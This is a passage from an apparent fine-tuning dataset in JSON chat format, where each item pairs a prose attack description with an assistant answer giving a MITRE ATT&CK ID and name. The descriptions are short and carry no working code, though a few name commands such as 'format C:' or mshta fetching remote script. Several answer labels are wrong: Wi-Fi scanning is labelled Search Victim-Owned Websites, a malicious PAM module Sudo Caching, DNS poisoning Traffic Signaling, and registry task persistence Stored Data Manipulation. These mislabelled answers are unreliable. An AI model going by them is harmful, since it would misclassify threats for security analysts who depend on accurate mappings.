                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group used public Wi‑Fi network scans to infer the presence of the victim’s devices nearby."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload inspects the BIOS serial number for patterns typical of virtualized hardware."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script enumerates registry values under HKCU\\Environment to gather user environment variables."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages insider access to an organization's code signing infrastructure to issue certificates for unsigned malicious code."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining admin rights on a macOS machine, the threat actor cleared the system.log file to hide their actions."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use an unpatched driver vulnerability to inject malicious code and evade endpoint protection."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disguises its C2 traffic as encrypted video streaming over RTP."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs reflective injection to embed malicious code into a legitimate process, achieving code execution without using CreateProcess."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload issued a 'shred' command on Linux, securely deleting log files to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries browse open source code hosting sites to locate configuration files that may contain secret tokens."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a stack overflow in a privileged service, causing the operating system to become unresponsive to legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employed covert FTP traffic over port 2121 to upload database extracts to their command server."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates an attack by configuring RDP tunneling to bypass firewalls and gain remote console access."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By flashing a prior system image, the attacker reintroduced vulnerabilities that had been mitigated in the latest update."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious batch file runs 'net user /domain' and redirects the output to a file for later analysis of domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email attached 'report.pdf.exe' which, when opened, executed the hidden executable portion."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a scheduled task that invoked \"format C:\" on Windows workstations, completely destroying data on the drive."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group sends a spear-phishing email with a link to a credential dumping tool hosted on an external file‑sharing service."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a compromised domain to host malicious binaries that are later downloaded by the victim's users."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a remote code execution vulnerability to write a new index.php, displaying a defaced message to anyone accessing the site."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor steals and utilizes legitimate credentials from third-party services for lateral movement within an organization's network, what tactic does this belong to?"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder edited the cloud function's environment variables to inject malicious code execution permissions."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a custom C# application that performs an LDAP search for (objectClass=group) to list all domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves opening a file transaction, writing malicious PE content, rolling back the transaction, and then launching the process which runs the hidden malicious code, a classic Process Doppelgänging scenario."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a social engineering toolkit to enumerate usernames from the victim's internal chat system, pairing them with known email patterns."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider smuggles proprietary code by copying it onto a personal external SSD."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised credentials, the attacker reads the cpassword attribute in Group Policy Preference files to gain domain admin rights."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised corporate intranet portal is altered to include a script that logs every character typed in the search bar and sends it to the attacker’s C2."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerability in the MFA service to replace genuine verification codes with attacker‑controlled values, allowing unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script performed a credential dump by reading the NTDS.dit file from the domain controller's file system."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries capture authentication tokens from SMS-based one-time passwords to bypass two-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Domain name system (DNS) tunneling for data exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script calls the API to erase the disk volume on macOS."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drive-by compromise is performed by embedding a PowerShell-based exploit in a compromised site, executing silently on the client side."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload is stored in the system's UEFI NVRAM variables to be executed during the pre-OS boot flow."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor accesses the Outlook data store via MAPI to copy recent emails for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use the Azure AD Graph API to pull user data and exfiltrate it to a rogue tenant."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a targeted email pretending to be from the HR department, asking employees to click a link and provide their login credentials for a payroll update."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a compromised account to view private project management boards on a commercial software platform, gathering timeline and resource details."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder obtains a set of configuration files for the victim's cloud environment by purchasing them from a compromised partner."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses stolen service principal credentials to enumerate SharePoint site collections and copy confidential legal documents."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary hijacks a cloud VM and utilizes its resources to mine cryptocurrency, billing the victim for the compute usage."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added to the Outlook Home Page setting so that opening Outlook automatically redirects the user to a phishing site."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ad fraud services are used to purchase impressions for malicious adverts that install ransomware on click."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware generates a fresh public‑private key pair and encrypts outbound data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group compromised a SaaS application's logging service and set the log level to \"none\"."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the registry key SafeBoot option to automatically start Windows in Safe Mode, preventing AV from loading."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used the AWS EC2 metadata endpoint to retrieve instance details and IAM role information for cloud infrastructure discovery."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PubPrn, the attacker sets up a fake printer driver that runs a PowerShell script whenever a user prints a file, achieving code execution through the system script proxy."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary surveys public job postings to infer technologies and tools used by the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the Linux PAM stack by inserting a malicious module to gain root during login."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign directs users to a fake login page that, upon credential submission, triggers a real MFA request on the user's device, seeking their approval."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit includes anti-VM and anti-debugging checks that examine the registry key 'HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\...'."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool injects code into the OS image by updating the system’s immutable partition."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor uses SMB to extract password hashes from a remote Windows machine's registry."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a reverse DNS lookup on the victim's public IP to infer its geographic region."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed a remote system scan by issuing SMB enumeration commands to list all machines and shared resources on the internal network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the 'mshta' utility to run malicious JScript code from a remote URL."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IIS server is used to host a hidden executable that is launched via a crafted HTTP request to a vulnerable ASP.NET endpoint."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates an invisible window using the Win32 API to run a keylogger without showing any UI elements."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts source files from an internal SVN repository by abusing a service account."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses Box cloud storage using recovered OAuth tokens to collect project files."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers performed DNS poisoning on a corporate DNS server, causing legitimate user requests to be resolved to attacker-controlled IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After breaching the network, the adversary edits the system's scheduled tasks stored in the registry to execute their payload on boot."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltrator used a compromised service account to export all Confluence spaces as HTML archives."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes 'ls -laR' on a Linux system to recursively list all files and permissions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware used as a covert means of extortion and access"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by dropping a custom systemd unit that runs a reverse shell each time the system starts."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised container used the Docker daemon's remote API to start a new container with host network access, facilitating lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit gathers domain trust details by sending LDAP queries for the msDS-TrustAttributes attribute."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool enumerates and extracts stored credentials from the Windows Credential Locker."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .url shortcut is placed in the user's Favorites folder, directing the browser to a phishing site that delivers malware."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Firefox add‑on is used to inject JavaScript into visited pages, exfiltrating credentials."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan routes its command‑and‑control messages through ICMP echo requests, making them look like standard ping traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The code employs a fake debugger check by reading the PEB's NtGlobalFlag field and proceeds only if it is zero."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages the Windows API NtAllocateVirtualMemory followed by NtCreateThreadEx to perform thread execution hijacking in a high‑privilege process."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used the Windows API to read the System event log for device driver load events to map installed hardware."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
